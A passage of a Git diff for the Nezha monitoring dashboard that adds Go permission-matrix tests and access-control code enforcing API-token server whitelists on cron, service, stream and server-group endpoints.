no whitelist to escape") + } +} + +func TestPatHasServerWhitelist_RealAPITokenStillWorks(t *testing.T) { + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(model.CtxKeyAPIToken, &model.APIToken{ServersCSV: "1,2"}) + if !patHasServerWhitelist(ctx) { + t.Fatal("real *model.APIToken with ServersCSV must still be flagged as limited (regression backstop)") + } +} diff --git a/cmd/dashboard/controller/permission_matrix_test.go b/cmd/dashboard/controller/permission_matrix_test.go new file mode 100644 index 00000000..9fd34c4a --- /dev/null +++ b/cmd/dashboard/controller/permission_matrix_test.go @@ -0,0 +1,516 @@ +package controller + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" + "github.com/stretchr/testify/assert" +) + +func TestValidateRuleAcceptsMemberSelfTriggerTasks(t *testing.T) { + ctx := newMemberValidationContext(t) + rule := &model.AlertRule{ + Common: model.Common{UserID: 200}, + Name: "member alert", + Rules: []*model.Rule{{Type: "offline", Duration: 3}}, + FailTriggerTasks: []uint64{43}, + RecoverTriggerTasks: []uint64{43}, + } + assert.NoError(t, validateRule(ctx, rule)) +} + +func TestValidateRuleAcceptsAdminCrossUserTriggerTasks(t *testing.T) { + ctx := newAdminValidationContext(t) + rule := &model.AlertRule{ + Common: model.Common{UserID: 1}, + Name: "admin alert", + Rules: []*model.Rule{{Type: "offline", Duration: 3}}, + FailTriggerTasks: []uint64{43}, + RecoverTriggerTasks: []uint64{43}, + } + assert.NoError(t, validateRule(ctx, rule)) +} + +func TestValidateRuleAcceptsEmptyTriggerTasks(t *testing.T) { + ctx := newMemberValidationContext(t) + rule := &model.AlertRule{ + Common: model.Common{UserID: 200}, + Name: "member alert", + Rules: []*model.Rule{{Type: "offline", Duration: 3}}, + } + assert.NoError(t, validateRule(ctx, rule)) +} + +func TestValidateRuleAcceptsUnknownTriggerTaskID(t *testing.T) { + ctx := newMemberValidationContext(t) + rule := &model.AlertRule{ + Common: model.Common{UserID: 200}, + Name: "member alert", + Rules: []*model.Rule{{Type: "offline", Duration: 3}}, + FailTriggerTasks: []uint64{9999}, + } + assert.NoError(t, validateRule(ctx, rule)) +} + +func TestValidateRuleRejectsForeignNotificationGroup(t *testing.T) { + ctx := newMemberValidationContext(t) + rule := &model.AlertRule{ + Common: model.Common{UserID: 200}, + Name: "member alert", + Rules: []*model.Rule{{Type: "offline", Duration: 3}}, + NotificationGroupID: 7, + } + assert.Error(t, validateRule(ctx, rule)) +} + +func TestValidateRuleAcceptsMemberOwnedNotificationGroup(t *testing.T) { + ctx := newMemberValidationContext(t) + rule := &model.AlertRule{ + Common: model.Common{UserID: 200}, + Name: "member alert", + Rules: []*model.Rule{{Type: "offline", Duration: 3}}, + NotificationGroupID: 8, + } + assert.NoError(t, validateRule(ctx, rule)) +} + +func TestValidateRuleAdminCanReferenceAnyNotificationGroup(t *testing.T) { + ctx := newAdminValidationContext(t) + rule := &model.AlertRule{ + Common: model.Common{UserID: 1}, + Name: "admin alert", + Rules: []*model.Rule{{Type: "offline", Duration: 3}}, + NotificationGroupID: 8, + } + assert.NoError(t, validateRule(ctx, rule)) +} + +func TestValidateServersRejectsForeignNotificationGroup(t *testing.T) { + ctx := newMemberValidationContext(t) + service := &model.Service{ + Common: model.Common{UserID: 200}, + Name: "member service", + SkipServers: map[uint64]bool{}, + NotificationGroupID: 7, + } + assert.Error(t, validateServers(ctx, service)) +} + +func TestValidateServersAcceptsMemberOwnedNotificationGroup(t *testing.T) { + ctx := newMemberValidationContext(t) + service := &model.Service{ + Common: model.Common{UserID: 200}, + Name: "member service", + SkipServers: map[uint64]bool{}, + NotificationGroupID: 8, + } + assert.NoError(t, validateServers(ctx, service)) +} + +func TestUserCanViewServer(t *testing.T) { + memberServer := &model.Server{Common: model.Common{ID: 1, UserID: 200}} + adminServer := &model.Server{Common: model.Common{ID: 2, UserID: 1}} + hiddenAdminServer := &model.Server{Common: model.Common{ID: 3, UserID: 1}, HideForGuest: true} + publicAdminServer := &model.Server{Common: model.Common{ID: 4, UserID: 1}, HideForGuest: false} + + cases := []struct { + name string + setup func(c *gin.Context) + server *model.Server + wantAllow bool + }{ + { + name: "guest sees public", + setup: func(c *gin.Context) {}, + server: publicAdminServer, + wantAllow: true, + }, + { + name: "guest blocked by HideForGuest", + setup: func(c *gin.Context) {}, + server: hiddenAdminServer, + wantAllow: false, + }, + { + name: "member sees own", + setup: func(c *gin.Context) { + c.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 200}, Role: model.RoleMember}) + }, + server: memberServer, + wantAllow: true, + }, + { + name: "member can still see public foreign", + setup: func(c *gin.Context) { + c.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 200}, Role: model.RoleMember}) + }, + server: publicAdminServer, + wantAllow: true, + }, + { + name: "member blocked by HideForGuest foreign", + setup: func(c *gin.Context) { + c.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 200}, Role: model.RoleMember}) + }, + server: hiddenAdminServer, + wantAllow: false, + }, + { + name: "admin sees hidden foreign", + setup: func(c *gin.Context) { + c.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin}) + }, + server: hiddenAdminServer, + wantAllow: true, + }, + { + name: "admin sees other admin server", + setup: func(c *gin.Context) { + c.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin}) + }, + server: adminServer, + wantAllow: true, + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + gin.SetMode(gin.TestMode) + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + tc.setup(ctx) + if got := userCanViewServer(ctx, tc.server); got != tc.wantAllow { + t.Fatalf("userCanViewServer = %v, want %v", got, tc.wantAllow) + } + }) + } +} + +type permissionTestResource struct { + ID uint64 `json:"id"` + UserID uint64 `json:"user_id"` +} + +func (r *permissionTestResource) GetID() uint64 { return r.ID } +func (r *permissionTestResource) GetUserID() uint64 { return r.UserID } +func (r *permissionTestResource) HasPermission(c *gin.Context) bool { + auth, ok := c.Get(model.CtxKeyAuthorizedUser) + if !ok { + return false + } + user := *auth.(*model.User) + if user.Role == model.RoleAdmin { + return true + } + return user.ID == r.UserID +} + +func TestListHandlerFiltersByOwnership(t *testing.T) { + gin.SetMode(gin.TestMode) + data := []*permissionTestResource{ + {ID: 1, UserID: 100}, + {ID: 2, UserID: 200}, + {ID: 3, UserID: 200}, + } + handler := listHandler(func(c *gin.Context) ([]*permissionTestResource, error) { + return append([]*permissionTestResource{}, data...), nil + }) + + t.Run("member only sees own", func(t *testing.T) { + r := gin.New() + r.Use(func(c *gin.Context) { + c.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 200}, Role: model.RoleMember}) + c.Next() + }) + r.GET("/test", handler) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/test", nil) + r.ServeHTTP(w, req) + + ids := decodeIDs[uint64](t, w.Body.Bytes()) + assert.ElementsMatch(t, []uint64{2, 3}, ids) + }) + + t.Run("admin sees all", func(t *testing.T) { + r := gin.New() + r.Use(func(c *gin.Context) { + c.Set(model.CtxKeyAuthorizedUser, &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin}) + c.Next() + }) + r.GET("/test", handler) + w := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/test", nil) + r.ServeHTTP(w, req) + + ids := decodeIDs[uint64](t, w.Body.Bytes()) + assert.ElementsMatch(t, []uint64{1, 2, 3}, ids) + }) +} + +func TestShowServiceFiltersCycleTransferStatsLikeServerList(t *testing.T) { + newMemberValidationContext(t) + assert.NoError(t, singleton.DB.AutoMigrate(&model.Service{}, &model.ServiceHistory{})) + assert.NoError(t, singleton.DB.Create(&model.Server{Common: model.Common{ID: 1, UserID: 1}, Name: "public server", UUID: "public-server"}).Error) + assert.NoError(t, singleton.DB.Create(&model.Server{Common: model.Common{ID: 2, UserID: 1}, Name: "hidden admin server", UUID: "hidden-admin-server", HideForGuest: true}).Error) + assert.NoError(t, singleton.DB.Create(&model.Server{Common: model.Common{ID: 3, UserID: 200}, Name: "hidden member server", UUID: "hidden-member-server", HideForGuest: true}).Error) + singleton.ServerShared = singleton.NewServerClass() + + assert.NoError(t, singleton.DB.Create(&model.Service{Common: model.Common{ID: 10, UserID: 1}, Name: "shown service", Type: model.TaskTypeTCPPing}).Error) + assert.NoError(t, singleton.DB.Create(&model.Service{Common: model.Common{ID: 11, UserID: 1}, Name: "hidden service", Type: model.TaskTypeTCPPing, HideForGuest: true}).Error) + + originalServiceSentinel := singleton.ServiceSentinelShared + serviceSentinel, err := singleton.NewServiceSentinel(make(chan *model.Service, 2)) + assert.NoError(t, err) + singleton.ServiceSentinelShared = serviceSentinel + t.Cleanup(func() { + serviceSentinel.Close() + singleton.ServiceSentinelShared = originalServiceSentinel + }) + + singleton.AlertsLock.Lock() + originalCycleTransferStats := singleton.AlertsCycleTransferStatsStore + singleton.AlertsCycleTransferStatsStore = map[uint64]*model.CycleTransferStats{ + 7: { + Name: "transfer alert", + ServerName: map[uint64]string{1: "public server", 2: "hidden admin server", 3: "hidden member server"}, + Transfer: map[uint64]uint64{1: 100, 2: 200, 3: 300}, + NextUpdate: map[uint64]time.Time{1: time.Unix(1, 0), 2: time.Unix(2, 0), 3: time.Unix(3, 0)}, + }, + } + singleton.AlertsLock.Unlock() + t.Cleanup(func() { + singleton.AlertsLock.Lock() + singleton.AlertsCycleTransferStatsStore = originalCycleTransferStats + singleton.AlertsLock.Unlock() + }) + + tests := []struct { + name string + viewer *model.User + wantServices []uint64 + wantNames map[uint64]string + }{ + { + name: "guest sees public servers only", + wantServices: []uint64{10}, + wantNames: map[uint64]string{1: "public server"}, + }, + { + name: "member sees public and owned hidden servers", + viewer: &model.User{Common: model.Common{ID: 200}, Role: model.RoleMember}, + wantServices: []uint64{10}, + wantNames: map[uint64]string{1: "public server", 3: "hidden member server"}, + }, + { + name: "admin sees every server", + viewer: &model.User{Common: model.Common{ID: 1}, Role: model.RoleAdmin}, + wantServices: []uint64{10, 11}, + wantNames: map[uint64]string{1: "public server", 2: "hidden admin server", 3: "hidden member server"}, + }, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + if tc.viewer != nil { + ctx.Set(model.CtxKeyAuthorizedUser, tc.viewer) + } + + got, err := showService(ctx) + assert.NoError(t, err) + assert.ElementsMatch(t, tc.wantServices, serviceResponseIDs(got.Services)) + if assert.Contains(t, got.CycleTransferStats, uint64(7)) { + cycleStats := got.CycleTransferStats[7] + assert.Equal(t, tc.wantNames, cycleStats.ServerName) + assert.Len(t, cycleStats.Transfer, len(tc.wantNames)) + assert.Len(t, cycleStats.NextUpdate, len(tc.wantNames)) + for serverID := range cycleStats.Transfer { + assert.Contains(t, tc.wantNames, serverID) + } + for serverID := range cycleStats.NextUpdate { + assert.Contains(t, tc.wantNames, serverID) + } + } + }) + } +} + +func serviceResponseIDs(stats map[uint64]model.ServiceResponseItem) []uint64 { + ids := make([]uint64, 0, len(stats)) + for id := range stats { + ids = append(ids, id) + } + return ids +} + +func decodeIDs[T ~uint64](t *testing.T, body []byte) []T { + t.Helper() + var resp struct { + Data []map[string]any `json:"data"` + } + if err := json.Unmarshal(body, &resp); err != nil { + t.Fatalf("decode response: %v body=%s", err, string(body)) + } + ids := make([]T, 0, len(resp.Data)) + for _, item := range resp.Data { + switch v := item["id"].(type) { + case float64: + ids = append(ids, T(v)) + case json.Number: + n, _ := v.Int64() + ids = append(ids, T(n)) + } + } + return ids +} + +func TestCallerIsAdmin(t *testing.T) { + gin.SetMode(gin.TestMode) + + tests := []struct { + name string + setup func(c *gin.Context) + want bool + }{ + {name: "unauth", setup: func(c *gin.Context) {}, want: false}, + { + name: "member", + setup: func(c *gin.Context) { + c.Set(model.CtxKeyAuthorizedUser, &model.User{Role: model.RoleMember}) + }, + want: false, + }, + { + name: "admin", + setup: func(c *gin.Context) { + c.Set(model.CtxKeyAuthorizedUser, &model.User{Role: model.RoleAdmin}) + }, + want: true, + }, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + tc.setup(ctx) + if got := callerIsAdmin(ctx); got != tc.want { + t.Fatalf("callerIsAdmin = %v, want %v", got, tc.want) + } + }) + } +} + +func TestAssertOwnsNotificationGroup(t *testing.T) { + memberCtx := newMemberValidationContext(t) + assert.NoError(t, assertOwnsNotificationGroup(memberCtx, 0)) + assert.NoError(t, assertOwnsNotificationGroup(memberCtx, 8)) + assert.Error(t, assertOwnsNotificationGroup(memberCtx, 7)) + assert.ErrorContains(t, assertOwnsNotificationGroup(memberCtx, 9999), "does not exist") + + adminCtx := newAdminValidationContext(t) + assert.NoError(t, assertOwnsNotificationGroup(adminCtx, 7)) + assert.NoError(t, assertOwnsNotificationGroup(adminCtx, 8)) +} + +func TestListServerGroupFiltersByOwnership(t *testing.T) { + ctx := newMemberValidationContext(t) + assert.NoError(t, singleton.DB.Create(&model.ServerGroup{Common: model.Common{ID: 1, UserID: 200}, Name: "member group"}).Error) + assert.NoError(t, singleton.DB.Create(&model.ServerGroup{Common: model.Common{ID: 2, UserID: 1}, Name: "admin group"}).Error) + + got, err := listServerGroup(ctx) + assert.NoError(t, err) + var names []string + for _, g := range got { + names = append(names, g.Group.Name) + } + assert.ElementsMatch(t, []string{"member group"}, names) +} + +func TestListServerGroupAdminSeesAll(t *testing.T) { + ctx := newAdminValidationContext(t) + assert.NoError(t, singleton.DB.Create(&model.ServerGroup{Common: model.Common{ID: 1, UserID: 200}, Name: "member group"}).Error) + assert.NoError(t, singleton.DB.Create(&model.ServerGroup{Common: model.Common{ID: 2, UserID: 1}, Name: "admin group"}).Error) + + got, err := listServerGroup(ctx) + assert.NoError(t, err) + var names []string + for _, g := range got { + names = append(names, g.Group.Name) + } + assert.ElementsMatch(t, []string{"member group", "admin group"}, names) +} + +func TestListNotificationGroupFiltersByOwnership(t *testing.T) { + ctx := newMemberValidationContext(t) + got, err := listNotificationGroup(ctx) + assert.NoError(t, err) + var names []string + for _, g := range got { + names = append(names, g.Group.Name) + } + assert.ElementsMatch(t, []string{"member group"}, names) +} + +func TestListNotificationGroupAdminSeesAll(t *testing.T) { + ctx := newAdminValidationContext(t) + got, err := listNotificationGroup(ctx) + assert.NoError(t, err) + var names []string + for _, g := range got { + names = append(names, g.Group.Name) + } + assert.ElementsMatch(t, []string{"admin group", "member group"}, names) +} + +func TestBatchMoveServerRejectsNonAdminCrossUser(t *testing.T) { + ctx := newMemberValidationContext(t) + ctx.Request = httptest.NewRequest(http.MethodPost, "/batch-move/server", strings.NewReader(`{"ids":[],"to_user":1}`)) + ctx.Request.Header.Set("Content-Type", "application/json") + _, err := batchMoveServer(ctx) + assert.Error(t, err) +} + +func TestBatchMoveServerAllowsMemberSelfMove(t *testing.T) { + ctx := newMemberValidationContext(t) + ctx.Request = httptest.NewRequest(http.MethodPost, "/batch-move/server", strings.NewReader(`{"ids":[],"to_user":200}`)) + ctx.Request.Header.Set("Content-Type", "application/json") + _, err := batchMoveServer(ctx) + assert.NoError(t, err) +} + +func TestBatchMoveServerAllowsAdminCrossUser(t *testing.T) { + ctx := newAdminValidationContext(t) + ctx.Request = httptest.NewRequest(http.MethodPost, "/batch-move/server", strings.NewReader(`{"ids":[],"to_user":200}`)) + ctx.Request.Header.Set("Content-Type", "application/json") + _, err := batchMoveServer(ctx) + assert.NoError(t, err) +} + +func TestBatchMoveServerMasksForeignServerIDsForMembers(t *testing.T) { + ctx := newMemberValidationContext(t) + assert.NoError(t, singleton.DB.Create(&model.Server{Common: model.Common{ID: 1, UserID: 1}, Name: "foreign", UUID: "foreign-server"}).Error) + singleton.ServerShared = singleton.NewServerClass() + + ctx.Request = httptest.NewRequest(http.MethodPost, "/batch-move/server", strings.NewReader(`{"ids":[1,9999],"to_user":200}`)) + ctx.Request.Header.Set("Content-Type", "application/json") + got, err := batchMoveServer(ctx) + + assert.NoError(t, err) + assert.Len(t, got, 2) + assert.Equal(t, model.BatchMoveServerResultServerNotFound, got[0].Status) + assert.Equal(t, model.BatchMoveServerResultServerNotFound, got[1].Status) +} + +func TestNATRejectsUnknownServerID(t *testing.T) { + ctx := newMemberValidationContext(t) + ctx.Request = httptest.NewRequest(http.MethodPost, "/nat", strings.NewReader(`{"name":"x","domain":"x.example","host":"127.0.0.1:80","server_id":9999}`)) + ctx.Request.Header.Set("Content-Type", "application/json") + _, err := createNAT(ctx) + assert.Error(t, err) +} diff --git a/cmd/dashboard/controller/permissions.go b/cmd/dashboard/controller/permissions.go new file mode 100644 index 00000000..4ff3bfa7 --- /dev/null +++ b/cmd/dashboard/controller/permissions.go @@ -0,0 +1,517 @@ +package controller + +import ( + "slices" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +// streamAttachAllowedForRequest combines the existing creator/admin check +// with a per-request PAT whitelist gate against the stream's target server. +// Terminal and FM endpoints attach to a long-lived stream and inherit any +// authority the creator held — without the second gate an admin's PAT +// scoped to [X] could hijack a stream targeting server Y. +func streamAttachAllowedForRequest(c *gin.Context, streamId string) bool { + if !rpc.NezhaHandlerSingleton.IsStreamAuthorizedForUser(streamId, getUid(c), callerIsAdmin(c)) { + return false + } + target, ok := rpc.NezhaHandlerSingleton.StreamTarget(streamId) + if !ok { + return false + } + return patAllowsServer(c, target) +} + +func callerIsAdmin(c *gin.Context) bool { + auth, ok := c.Get(model.CtxKeyAuthorizedUser) + if !ok { + return false + } + user, ok := auth.(*model.User) + if !ok || user == nil { + return false + } + return user.Role.IsAdmin() +} + +// patAllowsServer reports whether the caller's PAT (if any) is allowed to +// touch serverID. JWT callers (no PAT in context) always pass. Used as an +// extra guard before the admin / owner short-circuits so a PAT scoped to +// a server_ids whitelist cannot widen reach via the caller's admin role. +func patAllowsServer(c *gin.Context, serverID uint64) bool { + v, ok := c.Get(model.CtxKeyAPIToken) + if !ok { + return true + } + tok, _ := v.(model.APITokenAccessor) + if tok == nil { + return true + } + return tok.CanAccessServer(serverID) +} + +// patHasServerWhitelist reports whether the caller is authenticated by a PAT +// that carries a non-empty server_ids whitelist. Cover-all semantics in +// Cron (CronCoverAll / CronCoverIgnoreAll-with-empty-Servers) and Service +// (ServiceCoverAll-with-empty-SkipServers) intentionally fan out to every +// server the cron/service's owner has — so a whitelisted PAT cannot create +// or update such configs without escaping its own whitelist. JWT callers +// and unscoped PATs have no whitelist to escape and pass through. +// +// This is the gate that turns the implicit-cover bypass at +// /api/v1/{cron,service} POST/PATCH into a 403; the dispatch side +// (CronTrigger, DispatchTask) does not re-check PAT context, so the only +// safe place to enforce it is at write time. +func patHasServerWhitelist(c *gin.Context) bool { + v, ok := c.Get(model.CtxKeyAPIToken) + if !ok { + return false + } + wl, ok := v.(model.APITokenWhitelistView) + if !ok || wl == nil { + return false + } + return len(wl.ServerIDs()) > 0 +} + +// patAccessorFromContext returns the request's PAT viewed as an +// APITokenAccessor, or nil for JWT requests. Routes that need to project +// server-keyed data through the PAT whitelist (server-group, ws/server, +// future stream/list endpoints) use this instead of poking c.Get directly. +func patAccessorFromContext(c *gin.Context) model.APITokenAccessor { + v, ok := c.Get(model.CtxKeyAPIToken) + if !ok { + return nil + } + tok, _ := v.(model.APITokenAccessor) + if tok == nil { + return nil + } + return tok +} + +// checkCronServerListPermission validates the cron's Servers field. Under +// CronCoverIgnoreAll / CronCoverAlertTrigger the field is an allow-list and +// must satisfy Server.HasPermission (owner + PAT whitelist). Under +// CronCoverAll the field is a deny-list expressing exclusion; the caller +// only needs to own each listed server (PAT whitelist intersection is +// enforced separately by assertPATCoverFanoutWithinWhitelist). +func checkCronServerListPermission(c *gin.Context, cover uint8, servers []uint64, ownerUID uint64) error { + if cover == model.CronCoverAll { + denySet := make(map[uint64]bool, len(servers)) + for _, id := range servers { + denySet[id] = true + } + if !denyListOwnedByCaller(ownerUID, denySet) { + return singleton.Localizer.ErrorT("permission denied") + } + return nil + } + if !singleton.ServerShared.CheckPermission(c, slices.Values(servers)) { + return singleton.Localizer.ErrorT("permission denied") + } + return nil +} + +// checkServiceSkipServerPermission is the service-monitor analogue. +// ServiceCoverAll → SkipServers is a deny-set, only ownership required. +// ServiceCoverIgnoreAll → SkipServers is an allow-set, full Server.HasPermission. +// +// Runtime DispatchTask + skipServersToDenyList only consult entries whose +// bool value is true; false entries are no-ops. Filtering to true-only +// here keeps the write-side permission check aligned with the runtime +// fan-out (a member touching `{2: false}` for a foreign-owned server 2 +// has no dispatch effect, so rejecting the request is over-restrictive +// and inconsistent with what listing / runtime see). +func checkServiceSkipServerPermission(c *gin.Context, cover uint8, skip map[uint64]bool, ownerUID uint64) error { + effective := make(map[uint64]bool, len(skip)) + for id, enabled := range skip { + if enabled { + effective[id] = true + } + } + if cover == model.ServiceCoverAll { + if !denyListOwnedByCaller(ownerUID, effective) { + return singleton.Localizer.ErrorT("permission denied") + } + return nil + } + ids := make([]uint64, 0, len(effective)) + for id := range effective { + ids = append(ids, id) + } + if !singleton.ServerShared.CheckPermission(c, slices.Values(ids)) { + return singleton.Localizer.ErrorT("permission denied") + } + return nil +} + +// denyListOwnedByCaller verifies every id in denyList refers to a server +// owned by ownerUID. Under *CoverAll the deny-list expresses exclusion, not +// access, so it must not point at someone else's servers. +// +// Admin owners are special: runtime CronTrigger / DispatchTask fans out +// across the WHOLE system via userIsAdmin(owner), so a safe deny-list for +// an admin-owned resource must be allowed to include foreign-owned servers +// — that's the only way a limited PAT can contain the fan-out. We still +// require each id to refer to a real server, just not to be owned by the +// admin specifically. +func denyListOwnedByCaller(ownerUID uint64, denyList map[uint64]bool) bool { + ownerIsAdmin := model.OwnerIsAdminLookup != nil && model.OwnerIsAdminLookup(ownerUID) + for id := range denyList { + s, found := singleton.ServerShared.Get(id) + if !found || s == nil { + return false + } + if ownerIsAdmin { + continue + } + if s.GetUserID() != ownerUID { + return false + } + } + return true +} + +// denyListCoversAllOwnerServersOutsidePATWhitelist reports whether every +// server visible to the cron/service owner that is NOT in the caller PAT's +// server_ids whitelist also appears in denyList. Under *CoverAll semantics +// the runtime dispatch (CronTrigger / DispatchTask) fans out to ServerShared +// minus denyList; the only way a server-limited PAT can stay inside its +// whitelist is if denyList already covers every owner-visible server outside +// that whitelist. Returning true means the configuration is safe. +func denyListCoversAllOwnerServersOutsidePATWhitelist(c *gin.Context, ownerUID uint64, denyList map[uint64]bool) bool { + tok := patAccessorFromContext(c) + if tok == nil { + return true + } + denyIDs := make([]uint64, 0, len(denyList)) + for id, mark := range denyList { + if mark { + denyIDs = append(denyIDs, id) + } + } + return model.DenyListSafeForLimitedPAT(tok, ownerUID, denyIDs) +} + +// coverMode 抽象「cover 字段在 dispatch 时如何解读 servers 字段」。 +// +// 写侧 rejectImplicit* 与运行时 manual/batch-delete 入口共用同一条 PAT 收口 +// 路径（assertPATCoverFanoutWithinWhitelist），靠它把两边的规则对齐。新增任 +// 何带 cover 概念的资源时，只需在自己的资源专用入口里把 Cover 枚举翻译成 +// 这三档之一即可。 +type coverMode uint8 + +const ( + // coverModePinnedByCaller: dispatch 阶段不按 servers 字段做 fan-out， + // 真实目标在 fire 时由外部信号（如告警触发者 server）钉死。代表： + // CronCoverAlertTrigger。PAT 在这里不做额外收口。 + coverModePinnedByCaller coverMode = iota + + // coverModeAllMinusDeny: dispatch 时取 owner 全量 server 集合，再减去 + // servers（deny-list）。代表 CronCoverAll / ServiceCoverAll。受限 PAT + // 必须确保 deny-list 已覆盖白名单外的全部 owner servers，否则 fan-out + // 会跑到 PAT 白名单之外。 + coverModeAllMinusDeny + + // coverModeAllowList: dispatch 时只在 servers（allow-list）内 fan-out。 + // 代表 CronCoverIgnoreAll / ServiceCoverIgnoreAll。受限 PAT 必须能访 + // 问 allow-list 中的每一个 server。空 allow-list 是「matches nothing」 + // 的退化形态，安全。 + coverModeAllowList +) + +// assertPATCoverFanoutWithinWhitelist 是 cover-all / cover-ignore-all 两类 +// 「按 owner 全量 fan-out」资源的 PAT 收口。 +// +// 任何会按「owner servers 减 denyList」或「allowList 自身」展开的资源都必须 +// 在 dispatch 入口（manual 触发 / batch-delete / mutation）调用它；写侧 +// rejectImplicit* 也走同一条路径，从根上保证两边不漂移。 +// +// JWT 请求或不带 server 白名单的 PAT 直接放行——它们没有「白名单」可越过。 +// +// 失败时统一返回 i18n "permission denied"，与既有写侧 guard 行为一致。 +func assertPATCoverFanoutWithinWhitelist(c *gin.Context, ownerUID uint64, mode coverMode, servers []uint64) error { + if !patHasServerWhitelist(c) { + return nil + } + switch mode { + case coverModePinnedByCaller: + return nil + case coverModeAllMinusDeny: + denySet := make(map[uint64]bool, len(servers)) + for _, id := range servers { + denySet[id] = true + } + if !denyListCoversAllOwnerServersOutsidePATWhitelist(c, ownerUID, denySet) { + return singleton.Localizer.ErrorT("permission denied") + } + return nil + case coverModeAllowList: + tok := patAccessorFromContext(c) + if tok == nil { + return nil + } + for _, id := range servers { + if !tok.CanAccessServer(id) { + return singleton.Localizer.ErrorT("permission denied") + } + } + return nil + default: + // 未识别 cover 模式按拒绝处理；新增 coverMode 必须显式 wire 到 + // 资源专用入口里，不允许沉默放行。 + return singleton.Localizer.ErrorT("permission denied") + } +} + +// coverModeUnknown 表示 Cron/Service 持久化里出现了当前代码不认识的 cover +// 常量。这一档专门让 assertPATCoverFanoutWithinWhitelist 走 default 分支 +// fail-closed，保证「未知 cover 必须显式 wire，否则拒绝」的不变量。 +const coverModeUnknown coverMode = 255 + +// patGroupMembershipAccessAllowed returns false when the caller's PAT +// carries a server_ids whitelist that does not cover every current member +// of groupID. JWT requests and unscoped PATs always pass. Used by +// updateServerGroup before the transactional DELETE+INSERT — otherwise a +// PAT scoped to [X] could indirectly remove server Y from a shared group. +func patGroupMembershipAccessAllowed(c *gin.Context, groupID uint64) bool { + tok := patAccessorFromContext(c) + if tok == nil || !patHasServerWhitelist(c) { + return true + } + var members []model.ServerGroupServer + if err := singleton.DB.Where("server_group_id = ?", groupID).Find(&members).Error; err != nil { + return false + } + for _, m := range members { + if !tok.CanAccessServer(m.ServerId) { + return false + } + } + return true +} + +// isValidCronCover reports whether cover is one of the runtime-recognised +// Cron Cover constants. Unknown values must be rejected at write time — +// CronTrigger's periodic scheduler path has no PAT context, so any dirty +// row persisted with an unrecognised Cover still fans out via the default +// branch (no CoverAll/IgnoreAll match → broadcast to every server passing +// cronCanSendToServer). The same allowlist applies for batch-delete and +// manual-trigger guard wiring. +func isValidCronCover(cover uint8) bool { + switch cover { + case model.CronCoverIgnoreAll, model.CronCoverAll, model.CronCoverAlertTrigger: + return true + } + return false +} + +// isValidServiceCover is the service-monitor analogue. ServiceCoverAll and +// ServiceCoverIgnoreAll are the only branches DispatchTask + Snapshot +// recognise; anything else degrades to "default fan-out" which silently +// escapes the PAT cover-fanout guard. +func isValidServiceCover(cover uint8) bool { + switch cover { + case model.ServiceCoverAll, model.ServiceCoverIgnoreAll: + return true + } + return false +} + +// cronCoverMode 把 model.CronCover* 翻译成共享底座认识的 coverMode。 +// +// 未来引入新的 Cron Cover 常量时必须在这里显式 wire，否则 +// assertPATCoverFanoutWithinWhitelist 会按 default 分支拒绝，避免悄悄绕过。 +func cronCoverMode(cover uint8) coverMode { + switch cover { + case model.CronCoverAll: + return coverModeAllMinusDeny + case model.CronCoverIgnoreAll: + return coverModeAllowList + case model.CronCoverAlertTrigger: + return coverModePinnedByCaller + default: + // 未识别 cover 不能降级成 pinned——pinned 会被 assert 直接放行， + // 让受限 PAT 借未知 cover 绕过 fan-out 收口。统一报告 unknown， + // 由 assert 的 default 分支 fail-closed。 + return coverModeUnknown + } +} + +// serviceCoverMode 是 cronCoverMode 在 service monitor 侧的对照。Service 没 +// 有 alert-trigger 这一档，只有 All 与 IgnoreAll。 +func serviceCoverMode(cover uint8) coverMode { + switch cover { + case model.ServiceCoverAll: + return coverModeAllMinusDeny + case model.ServiceCoverIgnoreAll: + return coverModeAllowList + default: + // 同 cronCoverMode：未识别 cover 不允许借 pinned 旁路 PAT 收口。 + return coverModeUnknown + } +} + +// rejectImplicitCoverForLimitedPAT enforces the cover-all PAT guard for the +// cron write path. cf.Servers is the literal allow/deny list; under +// CronCoverAll it is a deny-list, under CronCoverIgnoreAll it is an +// allow-list, and under CronCoverAlertTrigger it does not gate dispatch at +// all (the alert trigger pins the target server at fire time). A PAT that +// carries a server_ids whitelist must therefore either (a) leave the deny-list +// empty under non-CoverAll modes — that's allow-list semantics, safe — or +// (b) under CronCoverAll, supply a deny-list that already covers every +// owner-visible server outside the PAT whitelist, otherwise CronTrigger fans +// out to those servers. Alert triggers stay unrestricted because their +// dispatch boundary is enforced by Cron.HasPermission against the trigger +// server id. +func rejectImplicitCoverForLimitedPAT(c *gin.Context, cover uint8, denyServers []uint64) error { + return rejectImplicitCoverForLimitedPATWithOwner(c, cover, denyServers, getUid(c)) +} + +// rejectImplicitCoverForLimitedPATWithOwner is the explicit-owner variant +// of rejectImplicitCoverForLimitedPAT. updateCron MUST use this with the +// existing cron's UserID — not the caller — because CronTrigger fans out +// to the cron OWNER's servers at dispatch time, regardless of who issued +// the PATCH. Defaulting to getUid(c) (as rejectImplicitCoverForLimitedPAT +// does for createCron) is only safe when the caller is the owner-to-be, +// i.e. the cron is being created with cr.UserID = getUid(c). +// +// 实现层只是把参数翻译到共享底座 